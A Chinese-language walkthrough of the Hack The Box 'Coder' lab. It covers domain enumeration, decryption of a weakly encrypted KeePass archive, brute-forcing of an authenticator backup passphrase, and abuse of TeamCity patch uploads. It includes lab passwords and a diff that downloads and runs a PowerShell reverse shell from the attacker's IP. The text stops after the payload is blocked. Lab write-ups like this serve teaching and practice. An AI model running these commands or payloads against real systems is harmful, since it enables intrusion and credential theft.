Nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 └─$ sudo nmap -sS 10.10.11.207 -p- --min-rate=3000 Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-11 18:47 EDT Warning: 10.10.11.207 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.11.207 Host is up (0.32s latency). Not shown: 65200 closed tcp ports (reset), 307 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 443/tcp open https 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49677/tcp open unknown 49690/tcp open unknown 49691/tcp open unknown 49693/tcp open unknown 49696/tcp open unknown 49704/tcp open unknown 50691/tcp open unknown 50705/tcp open unknown
Ldap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 └─$ ldapsearch -x -H 'ldap://10.10.11.207' -s base # extended LDIF # # LDAPv3 # base <> (default) with scope baseObject # filter: (objectclass=*) # requesting: ALL # # dn: domainFunctionality: 7 forestFunctionality: 7 domainControllerFunctionality: 7 rootDomainNamingContext: DC=coder,DC=htb ldapServiceName: coder.htb:dc01$@CODER.HTB isGlobalCatalogReady: TRUE supportedSASLMechanisms: GSSAPI supportedSASLMechanisms: GSS-SPNEGO supportedSASLMechanisms: EXTERNAL supportedSASLMechanisms: DIGEST-MD5 supportedLDAPVersion: 3 supportedLDAPVersion: 2 supportedLDAPPolicies: MaxPoolThreads supportedLDAPPolicies: MaxPercentDirSyncRequests supportedLDAPPolicies: MaxDatagramRecv supportedLDAPPolicies: MaxReceiveBuffer supportedLDAPPolicies: InitRecvTimeout supportedLDAPPolicies: MaxConnections supportedLDAPPolicies: MaxConnIdleTime supportedLDAPPolicies: MaxPageSize supportedLDAPPolicies: MaxBatchReturnMessages supportedLDAPPolicies: MaxQueryDuration supportedLDAPPolicies: MaxDirSyncDuration supportedLDAPPolicies: MaxTempTableSize supportedLDAPPolicies: MaxResultSetSize supportedLDAPPolicies: MinResultSets supportedLDAPPolicies: MaxResultSetsPerConn supportedLDAPPolicies: MaxNotificationPerConn supportedLDAPPolicies: MaxValRange supportedLDAPPolicies: MaxValRangeTransitive supportedLDAPPolicies: ThreadMemoryLimit supportedLDAPPolicies: SystemMemoryLimitPercent supportedControl: 1.2.840.113556.1.4.319 supportedControl: 1.2.840.113556.1.4.801 supportedControl: 1.2.840.113556.1.4.473 supportedControl: 1.2.840.113556.1.4.528 supportedControl: 1.2.840.113556.1.4.417 supportedControl: 1.2.840.113556.1.4.619 supportedControl: 1.2.840.113556.1.4.841 supportedControl: 1.2.840.113556.1.4.529 supportedControl: 1.2.840.113556.1.4.805 supportedControl: 1.2.840.113556.1.4.521 supportedControl: 1.2.840.113556.1.4.970 supportedControl: 1.2.840.113556.1.4.1338 supportedControl: 1.2.840.113556.1.4.474 supportedControl: 1.2.840.113556.1.4.1339 supportedControl: 1.2.840.113556.1.4.1340 supportedControl: 1.2.840.113556.1.4.1413 supportedControl: 2.16.840.1.113730.3.4.9 supportedControl: 2.16.840.1.113730.3.4.10 supportedControl: 1.2.840.113556.1.4.1504 supportedControl: 1.2.840.113556.1.4.1852 supportedControl: 1.2.840.113556.1.4.802 supportedControl: 1.2.840.113556.1.4.1907 supportedControl: 1.2.840.113556.1.4.1948 supportedControl: 1.2.840.113556.1.4.1974 supportedControl: 1.2.840.113556.1.4.1341 supportedControl: 1.2.840.113556.1.4.2026 supportedControl: 1.2.840.113556.1.4.2064 supportedControl: 1.2.840.113556.1.4.2065 supportedControl: 1.2.840.113556.1.4.2066 supportedControl: 1.2.840.113556.1.4.2090 supportedControl: 1.2.840.113556.1.4.2205 supportedControl: 1.2.840.113556.1.4.2204 supportedControl: 1.2.840.113556.1.4.2206 supportedControl: 1.2.840.113556.1.4.2211 supportedControl: 1.2.840.113556.1.4.2239 supportedControl: 1.2.840.113556.1.4.2255 supportedControl: 1.2.840.113556.1.4.2256 supportedControl: 1.2.840.113556.1.4.2309 supportedControl: 1.2.840.113556.1.4.2330 supportedControl: 1.2.840.113556.1.4.2354 supportedCapabilities: 1.2.840.113556.1.4.800 supportedCapabilities: 1.2.840.113556.1.4.1670 supportedCapabilities: 1.2.840.113556.1.4.1791 supportedCapabilities: 1.2.840.113556.1.4.1935 supportedCapabilities: 1.2.840.113556.1.4.2080 supportedCapabilities: 1.2.840.113556.1.4.2237 subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=coder,DC=htb serverName: CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configur ation,DC=coder,DC=htb schemaNamingContext: CN=Schema,CN=Configuration,DC=coder,DC=htb namingContexts: DC=coder,DC=htb namingContexts: CN=Configuration,DC=coder,DC=htb namingContexts: CN=Schema,CN=Configuration,DC=coder,DC=htb namingContexts: DC=DomainDnsZones,DC=coder,DC=htb namingContexts: DC=ForestDnsZones,DC=coder,DC=htb isSynchronized: TRUE highestCommittedUSN: 200765 dsServiceName: CN=NTDS Settings,CN=DC01,CN=Servers,CN=Default-First-Site-Name, CN=Sites,CN=Configuration,DC=coder,DC=htb dnsHostName: dc01.coder.htb defaultNamingContext: DC=coder,DC=htb currentTime: 20250612064122.0Z configurationNamingContext: CN=Configuration,DC=coder,DC=htb # search result search: 2 result: 0 Success # numResponses: 2 # numEntries: 1
User to s.blade 枚举发现guest开了,能访问smb
1 2 3 4 5 6 7 8 9 10 11 12 13 └─$ crackmapexec smb 10.10.11.207 -u Guest -p '' --shares SMB 10.10.11.207 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:coder.htb) (signing:True) (SMBv1:False) SMB 10.10.11.207 445 DC01 [+] coder.htb\Guest: SMB 10.10.11.207 445 DC01 [+] Enumerated shares SMB 10.10.11.207 445 DC01 Share Permissions Remark SMB 10.10.11.207 445 DC01 ----- ----------- ------ SMB 10.10.11.207 445 DC01 ADMIN$ Remote Admin SMB 10.10.11.207 445 DC01 C$ Default share SMB 10.10.11.207 445 DC01 Development READ SMB 10.10.11.207 445 DC01 IPC$ READ Remote IPC SMB 10.10.11.207 445 DC01 NETLOGON Logon server share SMB 10.10.11.207 445 DC01 SYSVOL Logon server share SMB 10.10.11.207 445 DC01 Users READ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 └─$ impacket-smbclient 'coder.htb/Guest' @10.10.11.207 Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies Password: Type help for list of commands ADMIN$ C$ Development IPC$ NETLOGON SYSVOL Users
枚举share的文件内容,其中在Users下的 /public/Libraries
里有个 .library-ms
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 # pwd /public/Libraries # ls drw-rw-rw- 0 Tue Dec 13 19:05:28 2022 . drw-rw-rw- 0 Tue Dec 13 19:05:28 2022 .. -rw-rw-rw- 175 Tue Dec 13 19:05:28 2022 desktop.ini -rw-rw-rw- 999 Tue Dec 13 19:05:28 2022 RecordedTV.library-ms # cat RecordedTV.library-ms <?xml version="1.0" encoding="UTF-8"?> <libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library"> <!-- IDS_RECORDEDTVLIBRARY --> <name>@shell32.dll,-34615</name> <!-- SHIDI_LIBRARYRECORDEDTV --> <iconReference>imageres.dll,-1008</iconReference> <isLibraryPinned>true</isLibraryPinned> <templateInfo> <!-- FOLDERTYPEID_Videos --> <folderType>{5fa96407-7e77-483c-ac93-691d05850de8}</folderType> </templateInfo> <searchConnectorDescriptionList> <searchConnectorDescription publisher="Microsoft" product="Windows"> <!-- IDS_RECORDEDTVLOCATIONDESCRIPTION --> <description>@shell32.dll,-34617</description> <isDefaultSaveLocation>true</isDefaultSaveLocation> <isDefaultNonOwnerSaveLocation>true</isDefaultNonOwnerSaveLocation> <simpleLocation> <url>shell:public\Recorded TV</url> </simpleLocation> </searchConnectorDescription> </searchConnectorDescriptionList> </libraryDescription>
如果是可以put的话有概率是替换文件钓鱼,但是这里没有上传权限,所以用不到。
然后是 Development
,这里有两个目录
1 2 3 4 5 drw-rw-rw- 0 Thu Nov 3 12:17:13 2022 . drw-rw-rw- 0 Thu Nov 3 12:17:13 2022 .. drw-rw-rw- 0 Tue Nov 8 17:11:25 2022 Migrations drw-rw-rw- 0 Fri Nov 11 17:19:03 2022 Temporary Projects
首先是第一个 Migrations
1 2 3 4 5 6 7 8 drw-rw-rw- 0 Tue Nov 8 17:11:25 2022 . drw-rw-rw- 0 Tue Nov 8 17:11:25 2022 .. drw-rw-rw- 0 Tue Nov 8 17:11:25 2022 adcs_reporting drw-rw-rw- 0 Thu Nov 3 12:17:13 2022 bootstrap-template-master drw-rw-rw- 0 Thu Nov 3 12:17:13 2022 Cachet-2.4 drw-rw-rw- 0 Thu Nov 3 12:17:13 2022 kimchi-master drw-rw-rw- 0 Fri Nov 4 15:14:54 2022 teamcity_test_repo
adcs_reporting
中包含一个脚本
1 2 3 4 5 # ls drw-rw-rw- 0 Tue Nov 8 17:11:25 2022 . drw-rw-rw- 0 Tue Nov 8 17:11:25 2022 .. drw-rw-rw- 0 Tue Nov 8 17:11:25 2022 .git -rw-rw-rw- 7245 Tue Nov 8 16:19:41 2022 Get-ADCS_Report.ps1
脚本中比较重点的部分如下,这个脚本大致功能是由pkiadmins 向 itsupport 发邮件用的,其中有个用户名为e.black
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Function script :send_mail { [CmdletBinding ()] param ( [string ] $message , [string ] $subject ) $emailFrom = 'pkiadmins@coder.htb' $emailCC = 'e.black@coder.htb' $emailTo = 'itsupport@coder.htb' $smtpServer = 'smtp.coder.htb' Send-MailMessage -SmtpServer $smtpServer -To $emailTo -Cc $emailCC -From $emailFrom -Subject $subject -Body $message -BodyAsHtml -Priority High}
然后在 teamcity_test_repo 中有一个脚本 hello_world.ps1
1 2 3 4 5 6 7 8 9 10 /Migrations/teamcity_test_repo drw-rw-rw- 0 Fri Nov 4 15:14:54 2022 . drw-rw-rw- 0 Fri Nov 4 15:14:54 2022 .. drw-rw-rw- 0 Fri Nov 4 15:14:54 2022 .git -rw-rw-rw- 67 Fri Nov 4 15:12:08 2022 hello_world.ps1 write-host "Hello, World!"
然后是 \Temporary Projects
下由一个 enc
和一个 exe
1 2 3 4 5 6 # cd Temporary Projects # ls drw-rw-rw- 0 Fri Nov 11 17:19:03 2022 . drw-rw-rw- 0 Fri Nov 11 17:19:03 2022 .. -rw-rw-rw- 5632 Fri Nov 4 12:58:20 2022 Encrypter.exe -rw-rw-rw- 3808 Fri Nov 11 17:17:08 2022 s.blade.enc
exe脱下来看了下,是.net的
1 2 └─$ file Encrypter.exe Encrypter.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
看起来是一个简单的时间戳seed加密,key和iv都是时间戳gen出来的
这里可以通过enc文件创建的时间来推出他的时间戳
1 s.blade.enc A 3808 Fri Nov 11 17:17:08 2022
文件创建的时间戳是 1668205028
1 2 └─$ date -d "Fri Nov 11 17:17:08 2022" +%s 1668205028
让ai写个解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 using System;using System.IO;using System.Security.Cryptography;#nullable disable internal class AESDecrypt { public static void Main (string [] args ) { string encryptedFile = "./s.blade.enc" ; string outputFile = "./s.blade" ; int seed = 1668205028 ; Random random = new Random(seed); byte [] iv = new byte [16 ]; byte [] key = new byte [32 ]; random.NextBytes(iv); random.NextBytes(key); try { DecryptFile(encryptedFile, outputFile, key, iv); Console.WriteLine("Decryption successful!" ); } catch (Exception ex) { Console.WriteLine("Decryption failed: " + ex.Message); } } private static void DecryptFile (string encryptedFile, string outputFile, byte [] Key, byte [] IV ) { using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) { using (FileStream fileStream1 = new FileStream(encryptedFile, FileMode.Open)) { using (ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(Key, IV)) { using (CryptoStream cryptoStream = new CryptoStream(fileStream1, decryptor, CryptoStreamMode.Read)) { using (FileStream fileStream2 = new FileStream(outputFile, FileMode.Create)) { byte [] buffer = new byte [1024 ]; int count; while ((count = cryptoStream.Read(buffer, 0 , buffer.Length)) != 0 ) { fileStream2.Write(buffer, 0 , count); } } } } } } } }
解密后得到一个7z包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 └─$ 7z l s.blade 7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29 64-bit locale=C.UTF-8 Threads:128 OPEN_MAX:1024 Scanning the drive for archives: 1 file, 3799 bytes (4 KiB) Listing archive: s.blade -- Path = s.blade Type = 7z Physical Size = 3799 Headers Size = 177 Method = LZMA2:12 Solid = - Blocks = 2 Date Time Attr Size Compressed Name ------------------- ----- ------------ ------------ ------------------------ 2022-11-03 16:02:30 ..H.A 1024 1028 .key 2022-11-11 18:13:55 ....A 2590 2594 s.blade.kdbx ------------------- ----- ------------ ------------ ------------------------ 2022-11-11 18:13:55 3614 3622 2 files
包含一个keepass库和一个key,解压。
1 2 3 4 5 └─$ tree -al . ├── .key ├── s.blade.enc └── s.blade.kdbx
得到的密码库内存了仨值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { "6132e897-44a2-4d14-92d2-12954724e83f" : { "encrypted" : true , "hash" : "6132e897-44a2-4d14-92d2-12954724e83f" , "index" : 1 , "type" : "totp" , "secret" : "U2FsdGVkX1+3JfFoKh56OgrH5jH0LLtc+34jzMBzE+QbqOBTXqKvyEEPKUyu13N2" , "issuer" : "TeamCity" , "account" : "s.blade" } , "key" : { "enc" : "U2FsdGVkX19dvUpQDCRui5XaLDSbh9bP00/1iBSrKp7102OR2aRhHN0s4QHq/NmYwxadLeTN7Me1a3LrVJ+JkKd76lRCnd1utGp/Jv6w0hmcsqdhdccOpixnC3wAnqBp+5QyzPVaq24Z4L+Rx55HRUQVNLrkLgXpkULO20wYbQrJYN1D8nr3g/G0ukrmby+1" , "hash" : "$argon2id$v=19$m=16384,t=1,p=1$L/vKleu5gFis+GLZbROCPw$OzW14DA0kdgIjCbo6MPDYoh+NEHnNCNV" } }
1 2 3 s.blade@coder.htb AmcwNO60Zg3vca3o0HDrTC6D
1 2 3 4 5 https://teamcity-dev.coder.htb s.blade veh5nUSZFFoqz9CrrhSeuwhA
第一个不知道是什么的,第二个是域账户密码
1 2 3 4 5 6 7 8 9 10 11 12 13 └─$ crackmapexec smb dc01.coder.htb -u s.blade -p AmcwNO60Zg3vca3o0HDrTC6D -d coder.htb --shares SMB dc01.coder.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:coder.htb) (signing:True) (SMBv1:False) SMB dc01.coder.htb 445 DC01 [+] coder.htb\s.blade:AmcwNO60Zg3vca3o0HDrTC6D SMB dc01.coder.htb 445 DC01 [+] Enumerated shares SMB dc01.coder.htb 445 DC01 Share Permissions Remark SMB dc01.coder.htb 445 DC01 ----- ----------- ------ SMB dc01.coder.htb 445 DC01 ADMIN$ Remote Admin SMB dc01.coder.htb 445 DC01 C$ Default share SMB dc01.coder.htb 445 DC01 Development READ SMB dc01.coder.htb 445 DC01 IPC$ READ Remote IPC SMB dc01.coder.htb 445 DC01 NETLOGON READ Logon server share SMB dc01.coder.htb 445 DC01 SYSVOL READ Logon server share SMB dc01.coder.htb 445 DC01 Users READ
第三个给了一个teamcity的url,加到host,先枚举域内信息之后再看。
to svc_teamcity bloodhound 遛狗
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 └─$ bloodhound.py -ns 10.10.11.207 --zip -dc dc01.coder.htb -u s.blade -p AmcwNO60Zg3vca3o0HDrTC6D -d coder.htb INFO: Found AD domain: coder.htb INFO: Getting TGT for user INFO: Connecting to LDAP server: dc01.coder.htb WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead... INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Found 10 users INFO: Connecting to LDAP server: dc01.coder.htb WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead... INFO: Found 55 groups INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: dc01.coder.htb INFO: Done in 00M 49S INFO: Compressing output into 20250707130802_bloodhound.zip
枚举 s.blade
,其属于 Software Developers
与 BuildAgent Mgmt
组
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 PV > Get-DomainUser s.blade cn : Sonya Blade distinguishedName : CN=Sonya Blade,OU=Users,OU=Development,DC=coder,DC=htb memberOf : CN=BuildAgent Mgmt,OU=Groups,OU=Development,DC=coder,DC=htb CN=Software Developers,OU=Groups,OU=Development,DC=coder,DC=htb name : Sonya Blade objectGUID : {77 d893c9-c681-4034-a700-ba7fbedde87a } userAccountControl : NORMAL_ACCOUNT [66048 ] DONT_EXPIRE_PASSWORD badPwdCount : 0 badPasswordTime : 01 /01 /1601 00 :00 :00 (424 years, 6 months ago) lastLogoff : 1601 -01-01 00 :00 :00 +00 :00 lastLogon : 18 /02 /2023 01 :12 :30 (2 years, 4 months ago) pwdLastSet : 09 /11 /2022 17 :38 :59 (2 years, 8 months ago) primaryGroupID : 513 objectSid : S-1-5-21-2608251805-3526430372-1546376444-1110 sAMAccountName : s.blade sAMAccountType : SAM_USER_OBJECT userPrincipalName : s.blade@coder.htb objectCategory : CN=Person,CN=Schema,CN=Configuration,DC=coder,DC=htb
枚举 s.blade
与 Software Developers
没有发现outbound权限,BuildAgent Mgmt
组存在对BuildAgents
ou 的创建与删除账户以及修改属性的权限,或者把自己加进去。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 PV > Get-DomainObjectAcl -SecurityIdentifier S-1-5-21-2608251805-3526430372-1546376444-8601 -ResolveGUIDs ObjectDN : OU=BuildAgents,OU=Development,DC=coder,DC=htb ObjectSID : None ACEType : ACCESS_ALLOWED_OBJECT_ACE ACEFlags : CONTAINER_INHERIT_ACE, INHERIT_ONLY_ACE AccessMask : ReadProperty, WriteProperty, Self ObjectAceFlags : ACE_OBJECT_TYPE_PRESENT, ACE_INHERITED_OBJECT_TYPE_PRESENT ObjectAceType : DNS Host Name Attributes (72 e39547-7b18-11d1-adef-00c04fd8d5cd ) InheritanceType : UNKNOWN (bf967a86-0de6-11d0-a285-00aa003049e2 ) SecurityIdentifier : BuildAgent Mgmt (S-1-5-21-2608251805-3526430372-1546376444-8601 ) ObjectDN : OU=BuildAgents,OU=Development,DC=coder,DC=htb ObjectSID : None ACEType : ACCESS_ALLOWED_OBJECT_ACE ACEFlags : CONTAINER_INHERIT_ACE AccessMask : CreateChild, DeleteChild ObjectAceFlags : ACE_OBJECT_TYPE_PRESENT ObjectAceType : UNKNOWN (bf967a86-0de6-11d0-a285-00aa003049e2 ) InheritanceType : None SecurityIdentifier : BuildAgent Mgmt (S-1-5-21-2608251805-3526430372-1546376444-8601 )
这里 BuildAgents
ou没有bind gpo,所以暂时不知道这个组是做啥用的。
跑spn和npu没有收获,转而去看web部分
使用 s.blade \ veh5nUSZFFoqz9CrrhSeuwhA
账户登录web
提示开了2FA 需要输入totp
1 2 Two-Factor Authentication Enter six-digit password from your authenticator app or one of the savedrecovery codes.
这里提示说使用 authenticator
app 生成的6位码
所以去装了一个
https://addons.mozilla.org/en-US/firefox/addon/auth-helper/
但是研究不出来他给的密码如何导入
想不通,所以去翻 0xdf 的wp 看这部分怎么走
从其中得知,被 authenticator
使用保护密码加密后的totp,在backup时便会以json的形式显示加密文件。
如下
由此可以得知,keepass库中的那个json就是这个被加密的凭据。
翻他的源码仓库中对于backup导入加密部分的处理
https://github.com/Authenticator-Extension/Authenticator/blob/dev/src/import.ts
如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 export async function decryptBackupData ( backupData: { [hash: string ]: OTPStorage | Key }, passphrase: string | null ) { const decryptedBackupData : { [hash : string ]: RawOTPStorage } = {}; const keys : Map <string , string | null > = new Map (); for (const hash in backupData) { const unknownStorageItem = backupData[hash]; if ( typeof unknownStorageItem !== "object" || unknownStorageItem.dataType === "Key" ) { continue ; } let storageItem : RawOTPStorage ; if (unknownStorageItem.dataType === "EncOTPStorage" ) { if (!passphrase) { continue ; } if (!keys.has (unknownStorageItem.keyId )) { keys.set ( unknownStorageItem.keyId , await findAndUnlockKey ( backupData, unknownStorageItem.keyId , passphrase ) ); } const decryptKey = keys.get (unknownStorageItem.keyId ); if (!decryptKey) { continue ; } storageItem = { ...unknownStorageItem, ...JSON .parse ( CryptoJS .AES .decrypt (unknownStorageItem.data , decryptKey).toString ( CryptoJS .enc .Utf8 ) ), encrypted : false , }; } else { storageItem = unknownStorageItem; } if (!storageItem.secret ) { continue ; } if (storageItem.encrypted && !passphrase) { continue ; } if (storageItem.encrypted && passphrase) { try { storageItem.secret = CryptoJS .AES .decrypt ( storageItem.secret , passphrase ).toString (CryptoJS .enc .Utf8 ); storageItem.encrypted = false ; } catch (error) { continue ; } } if (!storageItem.secret ) { continue ; } decryptedBackupData[hash] = storageItem; } return decryptedBackupData; }
其中主要解密的部分是这个,通过 storageItem.secret
的值与密码做aes解密
1 2 3 4 5 6 7 8 9 10 11 if (storageItem.encrypted && passphrase) { try { storageItem.secret = CryptoJS .AES .decrypt ( storageItem.secret , passphrase ).toString (CryptoJS .enc .Utf8 ); storageItem.encrypted = false ; } catch (error) { continue ; } }
storageItem.secret
的 storageItem
则是由如下赋值
1 2 3 ... storageItem = unknownStorageItem; ...
unknownStorageItem
是由 backupData
中的 hash
key赋值
1 2 3 4 for (const hash in backupData) { const unknownStorageItem = backupData[hash]; if ( ...
而 backupData
与 passphrase
由外部传入
1 2 3 4 export async function decryptBackupData( backupData: { [hash: string]: OTPStorage | Key }, passphrase: string | null )
查看调用
于两处有调用
https://github.com/Authenticator-Extension/Authenticator/blob/9d9660bb73700b3e725800edc22836662d94afac/src/components/Import/FileImport.vue#L105
https://github.com/Authenticator-Extension/Authenticator/blob/9d9660bb73700b3e725800edc22836662d94afac/src/components/Import/TextImport.vue#L84
调用形式一样,这里挑 FileImport.vue
看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 let key : { enc : string } | null = null ;if (importData.hasOwnProperty ("key" )) { if (importData.key ) { key = importData.key ; } delete importData.key ; } else if (importData.enc && importData.hash ) { key = { enc : importData.enc }; delete importData.hash ; delete importData.enc ; } for (const hash in importData) { const possibleEntry = importData[hash]; if (possibleEntry.dataType === "Key" ) { continue ; } if (possibleEntry.keyId || possibleEntry.encrypted ) { try { const oldPassphrase : | string | null = await this .getOldPassphrase (); if (key) { decryptedFileData = await decryptBackupData ( importData, CryptoJS .AES .decrypt (key.enc , oldPassphrase).toString () ); } else { decryptedFileData = await decryptBackupData ( importData, oldPassphrase ); }
检查引入数据中是否包含 key
这个属性,这里我们手里的导出备份是有这个属性的
1 2 3 4 if (importData.hasOwnProperty ("key" )) { if (importData.key ) { key = importData.key ; }
1 2 3 4 5 6 7 8 { "6132e897-44a2-4d14-92d2-12954724e83f" : { ... } , "key" : { ... } }
当我们导入的加密凭据包含key时,便会调用到 v2 encryption
路径的 decryptBackupData
1 2 3 4 5 6 7 8 9 10 11 12 if (key) { // v2 encryption decryptedFileData = await decryptBackupData( importData, CryptoJS.AES.decrypt(key.enc, oldPassphrase).toString() ); } else { // v3 and v1 encryption decryptedFileData = await decryptBackupData( importData, oldPassphrase );
有趣的是这里 passphrase
位置他先做了一次解密之后再传入的。
也就是说脚本要撞他密码需要 先把密码拿来 key.enc
进行aes解密,然后再用得到的值拿去跟 hash.secret
做一次aes,最后便是结果,通过自定义导入时候的手动测试得知secert应当是16位以上,由数字或大写字母组成,小写不认。
跑密码的如下,写的有点拉跨让gpt帮忙格式化了一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 const fs = require("fs"); const CryptoJS = require("crypto-js"); const secret = "U2FsdGVkX1+3JfFoKh56OgrH5jH0LLtc+34jzMBzE+QbqOBTXqKvyEEPKUyu13N2"; const enc = "U2FsdGVkX19dvUpQDCRui5XaLDSbh9bP00/1iBSrKp7102OR2aRhHN0s4QHq/NmYwxadLeTN7Me1a3LrVJ+JkKd76lRCnd1utGp/Jv6w0hmcsqdhdccOpixnC3wAnqBp+5QyzPVaq24Z4L+Rx55HRUQVNLrkLgXpkULO20wYbQrJYN1D8nr3g/G0ukrmby+1"; const wordlistPath = process.argv[2]; const wd = fs.readFileSync(wordlistPath, "utf-8").split("\n"); for (const wdl of wd) { const pass = wdl.trim(); try { const importpass = CryptoJS.AES.decrypt(enc, pass).toString(); if (!importpass) continue; const result = CryptoJS.AES.decrypt(secret, importpass).toString(CryptoJS.enc.Utf8); if (result.length >= 16) { console.log("✅ 找到有效口令!"); console.log(`🔑 Password: ${pass}`); console.log(`🔓 Key: ${importpass}`); console.log(`📦 Raw result (hex): ${result}`); console.log(`🧬 Decoded seed: ${seed}`); break; } } catch (err) { continue; } }
跑了一会得到保护密码 skyblade
以及secert PM2CG6RO73QT74WS
1 2 3 4 5 └─$ node test.js /usr/share/wordlists/rockyou.txt ✅ 找到有效口令! 🔑 Password: skyblade 🔓 Key: 3a3c2614b17654f9f15dce9dd282955e4f82e32dd0397fbb5b6730354a3dc6a7465091e1bea6fd465aa83743fbd9e630c9dff2c461da26737dc693d0d88623129b7c1a9342d0c88b406d7d542d4414ee4f13ee3e127d9ed0a124773d66e8af460d4347e3551dace0299452b898cc01396c6c4cc8ab967cad 📦 Raw result (hex): PM2CG6RO73QT74WS
因为是TOTP,所以还需要与服务器时间同步。
这里和之前一个 totp
靶机一样的思路,curl获取web返回的服务器时间,然后date应用时间
1 date -s "$(curl 10.10.11.207 -sI|awk -F ': ' 'NR==8 {print $2}') "
web 这个账户没有直接创建任务的权限,只能对现有任务做操作
直接run能看到输出了一个 hello world
,文件名有些眼熟,返回去看了下smb里的文件,有点像但不能完全确定。
这里没有权限在run的过程中直接 pipeline 附加command。
只有这部分的内容可以编辑,或者说自定义。
这里说让上传一个patch或者diff格式的文件
1 Click to upload or drag & drop a patch in unified diff format
https://www.jetbrains.com/help/teamcity/personal-build.html#Direct+Patch+Upload
这功能相比于分支再单独构建会更灵活一些。
因为run之后会执行 hello_world.ps1
进行一个简单的输出。
所以这里考虑patch他的这个脚本来尝试命令执行。
这里我需要创建一个和他同名的文件来patch他,但是我不知道他具体文件内容.
1 2 3 4 5 6 7 8 9 10 11 12 13 vim hello_world.ps1 git init git commit -m test └─$ git log commit 8522a4ca5c91eb8c387a35c7c2839448fee712b1 (HEAD -> master) Author: test <test @flower> Date: Tue Jul 8 13:41:21 2025 -0400 test
简单改了下,diff之后丢上去 run 了下,就报错了
翻看了下执行时候的报错
看右侧报错能确定是diff文件没有成功被应用,因为我diff的 ps1
内容是乱写的,所以第一版的diff无法被应用,不过现在左侧能看到具体的文件内容,和smb里的一样。
得知具体文件内容,就可以正常进行diff了
1 2 3 4 5 6 7 8 9 └─$ cat hello_world.ps1 write-host "Hello, World!" git init git add hello_world.ps1 git commit -m test
改一下,生成一下 diff
1 2 3 4 5 6 7 8 9 10 11 12 └─$ git diff hello_world.ps1 diff --git a/hello_world.ps1 b/hello_world.ps1 index 09724d2..c8975e2 100644 --- a/hello_world.ps1 +++ b/hello_world.ps1 @@ -1,2 +1,4 @@ write-host "Hello, World!" + +curl 10.10.16.9 git diff hello_world.ps1 > test.diff
此时再次上传diff ,然后 run
这次没有报错并且成功收到了请求
1 2 3 └─$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.11.207 - - [08/Jul/2025 13:59:25] "GET / HTTP/1.1" 200 -
修改拿一下revhshell
1 2 3 4 5 6 7 8 9 10 └─$ git diff diff --git a/hello_world.ps1 b/hello_world.ps1 index 09724d2..bb73e8f 100644 --- a/hello_world.ps1 +++ b/hello_world.ps1 @@ -1,2 +1,4 @@ write-host "Hello, World!" + +IEX(iwr http://10.10.16.9/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.9 -Port 10086
上传之后 run,被淦了,看报错是有df
简单改下脚本再次上传。
